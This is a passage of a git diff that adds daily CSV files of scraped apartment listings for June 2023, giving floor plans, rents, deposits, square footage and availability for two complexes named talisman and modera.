+20230602,modera,S01L,Studio / 1 ba,"Starting from $2,527/month",$300,641+,/,Only One Left! +20230602,modera,A05L,1 bd/1 ba,"Starting from $2,695/month",$300,735,/,"Available Jun 16, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230603.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230603.csv new file mode 100644 index 00000000000..64046606578 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230603.csv @@ -0,0 +1,59 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230603,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230603,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230603,talisman,A10 (1x1),1 Bed 1 Bath,"$1,866",$300,578 - 665 sq.ft.,None,N/A +20230603,talisman,A1 (1x1),1 Bed 1 Bath,"$1,931",$300,604 - 671 sq.ft.,None,N/A +20230603,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230603,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230603,talisman,A2 (1x1),1 Bed 1 Bath,"$1,911",$300,617 - 715 sq.ft.,None,N/A +20230603,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230603,talisman,A6 (1x1),1 Bed 1 Bath,"$1,931",$300,650 sq.ft.,None,N/A +20230603,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230603,talisman,B5 (1x1),1 Bed 1 Bath,"$1,975",$300,674 - 775 sq.ft.,None,N/A +20230603,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230603,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230603,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230603,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230603,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230603,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230603,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,879",$300,785 - 852 sq.ft.,None,N/A +20230603,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230603,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230603,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230603,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,989",$300,906 - 930 sq.ft.,None,N/A +20230603,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230603,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,034",$300,883 - 888 sq.ft.,None,N/A +20230603,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230603,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230603,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230603,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230603,talisman,C3 (2x2),2 Bed 2 Bath,"$3,799",$300,1010 - 1103 sq.ft.,None,N/A +20230603,talisman,C1 (2x2),2 Bed 2 Bath,"$4,012",$300,1029 - 1294 sq.ft.,None,N/A +20230603,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230603,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230603,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,398",$300,1140 - 1185 sq.ft.,None,N/A +20230603,talisman,C8 (2x2),2 Bed 2 Bath,"$3,429",$300,1155 sq.ft.,None,N/A +20230603,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230603,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230603,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,499",$300,1228 - 1296 sq.ft.,None,N/A +20230603,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230603,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230603,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230603,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230603,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230603,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230603,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230603,modera,S01,Studio / 1 ba,"Starting from $1,784/month",$300,477+,/,Only One Left! +20230603,modera,S02,Studio / 1 ba,"Starting from $1,980/month",$300,498+,/,"Available Jun 04, 2023" +20230603,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230603,modera,A05,1 bd/1 ba,"Starting from $2,005/month",$300,596,/,"Available Jun 08, 2023" +20230603,modera,A05L,1 bd/1 ba,"Starting from $2,695/month",$300,735,/,"Available Jun 16, 2023" +20230603,modera,A09,1 bd/1 ba,"$2,345/month",$300,640,/,Only One Left! +20230603,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,"Available Jun 08, 2023" +20230603,modera,A11,1 bd/1 ba,"Starting from $2,535/month",$300,667,/,"Available Jul 09, 2023" +20230603,modera,A13D,1 bd/1 ba,"Starting from $2,778/month",$300,751,/,"Available Jun 09, 2023" +20230603,modera,A15D,1 bd/1 ba,"Starting from $2,928/month",$300,790+,/,"Available Jun 24, 2023" +20230603,modera,B02,2 bd/2 ba,"Starting from $3,181/month",$300,989+,/,"Available Jun 08, 2023" +20230603,modera,B03,2 bd/2 ba,"Starting from $3,426/month",$300,"1,039+",/,Only One Left! +20230603,modera,B07,2 bd/2 ba,"Starting from $3,511/month",$300,"1,233",/,Only One Left! +20230603,modera,A05L,1 bd/1 ba,"Starting from $2,695/month",$300,735,/,"Available Jun 16, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230604.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230604.csv new file mode 100644 index 00000000000..96a606d8fbb --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230604.csv @@ -0,0 +1,59 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230604,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230604,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230604,talisman,A10 (1x1),1 Bed 1 Bath,"$1,866",$300,578 - 665 sq.ft.,None,N/A +20230604,talisman,A1 (1x1),1 Bed 1 Bath,"$1,931",$300,604 - 671 sq.ft.,None,N/A +20230604,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230604,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230604,talisman,A2 (1x1),1 Bed 1 Bath,"$1,911",$300,617 - 715 sq.ft.,None,N/A +20230604,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230604,talisman,A6 (1x1),1 Bed 1 Bath,"$1,931",$300,650 sq.ft.,None,N/A +20230604,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230604,talisman,B5 (1x1),1 Bed 1 Bath,"$1,975",$300,674 - 775 sq.ft.,None,N/A +20230604,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230604,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230604,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230604,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230604,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230604,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230604,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,879",$300,785 - 852 sq.ft.,None,N/A +20230604,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230604,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230604,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230604,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,989",$300,906 - 930 sq.ft.,None,N/A +20230604,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230604,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,034",$300,883 - 888 sq.ft.,None,N/A +20230604,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230604,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230604,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230604,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230604,talisman,C3 (2x2),2 Bed 2 Bath,"$3,799",$300,1010 - 1103 sq.ft.,None,N/A +20230604,talisman,C1 (2x2),2 Bed 2 Bath,"$4,012",$300,1029 - 1294 sq.ft.,None,N/A +20230604,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230604,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230604,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,398",$300,1140 - 1185 sq.ft.,None,N/A +20230604,talisman,C8 (2x2),2 Bed 2 Bath,"$3,429",$300,1155 sq.ft.,None,N/A +20230604,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230604,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230604,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,499",$300,1228 - 1296 sq.ft.,None,N/A +20230604,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230604,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230604,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230604,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230604,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230604,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230604,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230604,modera,S01,Studio / 1 ba,"Starting from $1,784/month",$300,477+,/,Only One Left! +20230604,modera,S02,Studio / 1 ba,"Starting from $1,980/month",$300,498+,/,Only One Left! +20230604,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230604,modera,A05,1 bd/1 ba,"Starting from $2,005/month",$300,596,/,"Available Jun 08, 2023" +20230604,modera,A05L,1 bd/1 ba,"Starting from $2,695/month",$300,735,/,"Available Jun 16, 2023" +20230604,modera,A09,1 bd/1 ba,"$2,345/month",$300,640,/,Only One Left! +20230604,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,"Available Jun 08, 2023" +20230604,modera,A11,1 bd/1 ba,"Starting from $2,535/month",$300,667,/,"Available Jul 09, 2023" +20230604,modera,A13D,1 bd/1 ba,"Starting from $2,778/month",$300,751,/,"Available Jun 09, 2023" +20230604,modera,A15D,1 bd/1 ba,"Starting from $2,928/month",$300,790+,/,"Available Jun 24, 2023" +20230604,modera,B02,2 bd/2 ba,"Starting from $3,181/month",$300,989+,/,"Available Jun 08, 2023" +20230604,modera,B03,2 bd/2 ba,"Starting from $3,426/month",$300,"1,039+",/,Only One Left! +20230604,modera,B07,2 bd/2 ba,"Starting from $3,511/month",$300,"1,233",/,Only One Left! +20230604,modera,A05L,1 bd/1 ba,"Starting from $2,695/month",$300,735,/,"Available Jun 16, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230605.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230605.csv new file mode 100644 index 00000000000..b4cf9503ef9 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230605.csv @@ -0,0 +1,59 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230605,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230605,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230605,talisman,A10 (1x1),1 Bed 1 Bath,"$1,963",$300,578 - 665 sq.ft.,None,N/A +20230605,talisman,A1 (1x1),1 Bed 1 Bath,"$2,063",$300,604 - 671 sq.ft.,None,N/A +20230605,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230605,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230605,talisman,A2 (1x1),1 Bed 1 Bath,"$2,008",$300,617 - 715 sq.ft.,None,N/A +20230605,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230605,talisman,A6 (1x1),1 Bed 1 Bath,"$2,028",$300,650 sq.ft.,None,N/A +20230605,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230605,talisman,B5 (1x1),1 Bed 1 Bath,"$1,871",$300,674 - 775 sq.ft.,None,N/A +20230605,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230605,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230605,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230605,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230605,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230605,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230605,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,754",$300,785 - 852 sq.ft.,None,N/A +20230605,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230605,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230605,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230605,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,864",$300,906 - 930 sq.ft.,None,N/A +20230605,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230605,talisman,BL2 (2x2),2 Bed 2 Bath,"$2,909",$300,883 - 888 sq.ft.,None,N/A +20230605,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230605,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230605,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230605,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230605,talisman,C3 (2x2),2 Bed 2 Bath,"$3,792",$300,1010 - 1103 sq.ft.,None,N/A +20230605,talisman,C1 (2x2),2 Bed 2 Bath,"$4,012",$300,1029 - 1294 sq.ft.,None,N/A +20230605,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230605,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230605,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,273",$300,1140 - 1185 sq.ft.,None,N/A +20230605,talisman,C8 (2x2),2 Bed 2 Bath,"$3,422",$300,1155 sq.ft.,None,N/A +20230605,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230605,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230605,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,374",$300,1228 - 1296 sq.ft.,None,N/A +20230605,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230605,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230605,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230605,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230605,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230605,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230605,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230605,modera,S01,Studio / 1 ba,"Starting from $1,784/month",$300,477+,/,Only One Left! +20230605,modera,S02,Studio / 1 ba,"Starting from $1,980/month",$300,498+,/,Only One Left! +20230605,modera,A01,1 bd/1 ba,"Starting from $2,059/month",$300,531,/,"Available Jun 11, 2023" +20230605,modera,A05,1 bd/1 ba,"Starting from $1,974/month",$300,596,/,"Available Jun 08, 2023" +20230605,modera,A05L,1 bd/1 ba,"Starting from $2,664/month",$300,735,/,"Available Jun 16, 2023" +20230605,modera,A09,1 bd/1 ba,"$2,314/month",$300,640,/,Only One Left! +20230605,modera,A10,1 bd/1 ba,"Starting from $2,429/month",$300,672+,/,"Available Jun 08, 2023" +20230605,modera,A11,1 bd/1 ba,"Starting from $2,504/month",$300,667,/,"Available Jul 09, 2023" +20230605,modera,A13D,1 bd/1 ba,"Starting from $2,541/month",$300,751,/,"Available Jun 09, 2023" +20230605,modera,A15D,1 bd/1 ba,"Starting from $2,691/month",$300,790+,/,"Available Jun 24, 2023" +20230605,modera,B02,2 bd/2 ba,"Starting from $3,181/month",$300,989+,/,"Available Jun 08, 2023" +20230605,modera,B03,2 bd/2 ba,"Starting from $3,426/month",$300,"1,039+",/,Only One Left! +20230605,modera,B07,2 bd/2 ba,"Starting from $3,511/month",$300,"1,233",/,Only One Left! +20230605,modera,A05L,1 bd/1 ba,"Starting from $2,664/month",$300,735,/,"Available Jun 16, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230606.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230606.csv new file mode 100644 index 00000000000..43bdb893eb8 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230606.csv @@ -0,0 +1,59 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230606,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230606,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230606,talisman,A10 (1x1),1 Bed 1 Bath,"$2,025",$300,578 - 665 sq.ft.,None,N/A +20230606,talisman,A1 (1x1),1 Bed 1 Bath,"$2,125",$300,604 - 671 sq.ft.,None,N/A +20230606,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230606,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230606,talisman,A2 (1x1),1 Bed 1 Bath,"$2,070",$300,617 - 715 sq.ft.,None,N/A +20230606,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230606,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230606,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230606,talisman,B5 (1x1),1 Bed 1 Bath,"$1,970",$300,674 - 775 sq.ft.,None,N/A +20230606,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230606,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230606,talisman,A5 (1x1),1 Bed 1 Bath,"$2,051",$300,734 - 739 sq.ft.,None,N/A +20230606,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230606,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230606,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230606,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,636",$300,785 - 852 sq.ft.,None,N/A +20230606,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230606,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230606,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230606,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,746",$300,906 - 930 sq.ft.,None,N/A +20230606,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230606,talisman,BL2 (2x2),2 Bed 2 Bath,"$2,791",$300,883 - 888 sq.ft.,None,N/A +20230606,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230606,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230606,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230606,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230606,talisman,C3 (2x2),2 Bed 2 Bath,"$3,793",$300,1010 - 1103 sq.ft.,None,N/A +20230606,talisman,C1 (2x2),2 Bed 2 Bath,"$4,013",$300,1029 - 1294 sq.ft.,None,N/A +20230606,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230606,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230606,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,155",$300,1140 - 1185 sq.ft.,None,N/A +20230606,talisman,C8 (2x2),2 Bed 2 Bath,"$3,423",$300,1155 sq.ft.,None,N/A +20230606,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230606,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230606,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,256",$300,1228 - 1296 sq.ft.,None,N/A +20230606,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230606,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230606,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230606,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230606,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230606,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230606,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230606,modera,S01,Studio / 1 ba,"Starting from $1,944/month",$300,477+,/,"Available Jun 10, 2023" +20230606,modera,S02,Studio / 1 ba,"Starting from $2,080/month",$300,498+,/,Only One Left! +20230606,modera,A01,1 bd/1 ba,"Starting from $2,059/month",$300,531,/,"Available Jun 11, 2023" +20230606,modera,A05,1 bd/1 ba,"Starting from $1,974/month",$300,596,/,"Available Jun 08, 2023" +20230606,modera,A05L,1 bd/1 ba,"Starting from $2,664/month",$300,735,/,"Available Jun 16, 2023" +20230606,modera,A09,1 bd/1 ba,"$2,314/month",$300,640,/,Only One Left! +20230606,modera,A10,1 bd/1 ba,"Starting from $2,429/month",$300,672+,/,"Available Jun 08, 2023" +20230606,modera,A11,1 bd/1 ba,"Starting from $2,504/month",$300,667,/,"Available Jul 09, 2023" +20230606,modera,A13D,1 bd/1 ba,"Starting from $2,541/month",$300,751,/,"Available Jun 09, 2023" +20230606,modera,A15D,1 bd/1 ba,"Starting from $2,691/month",$300,790+,/,"Available Jun 24, 2023" +20230606,modera,B02,2 bd/2 ba,"Starting from $3,204/month",$300,989+,/,"Available Jun 13, 2023" +20230606,modera,B03,2 bd/2 ba,"Starting from $3,449/month",$300,"1,039+",/,Only One Left! +20230606,modera,B07,2 bd/2 ba,"Starting from $3,534/month",$300,"1,233",/,Only One Left! +20230606,modera,A05L,1 bd/1 ba,"Starting from $2,664/month",$300,735,/,"Available Jun 16, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230607.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230607.csv new file mode 100644 index 00000000000..00855ebb9ea --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230607.csv @@ -0,0 +1,59 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230607,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230607,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230607,talisman,A10 (1x1),1 Bed 1 Bath,"$2,130",$300,578 - 665 sq.ft.,None,N/A +20230607,talisman,A1 (1x1),1 Bed 1 Bath,"$2,230",$300,604 - 671 sq.ft.,None,N/A +20230607,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230607,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230607,talisman,A2 (1x1),1 Bed 1 Bath,"$2,175",$300,617 - 715 sq.ft.,None,N/A +20230607,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230607,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230607,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230607,talisman,B5 (1x1),1 Bed 1 Bath,ContactUs,$300,674 - 775 sq.ft.,None,N/A +20230607,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230607,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230607,talisman,A5 (1x1),1 Bed 1 Bath,"$2,315",$300,734 - 739 sq.ft.,None,N/A +20230607,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230607,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230607,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230607,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,523",$300,785 - 852 sq.ft.,None,N/A +20230607,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230607,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230607,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230607,talisman,BL5 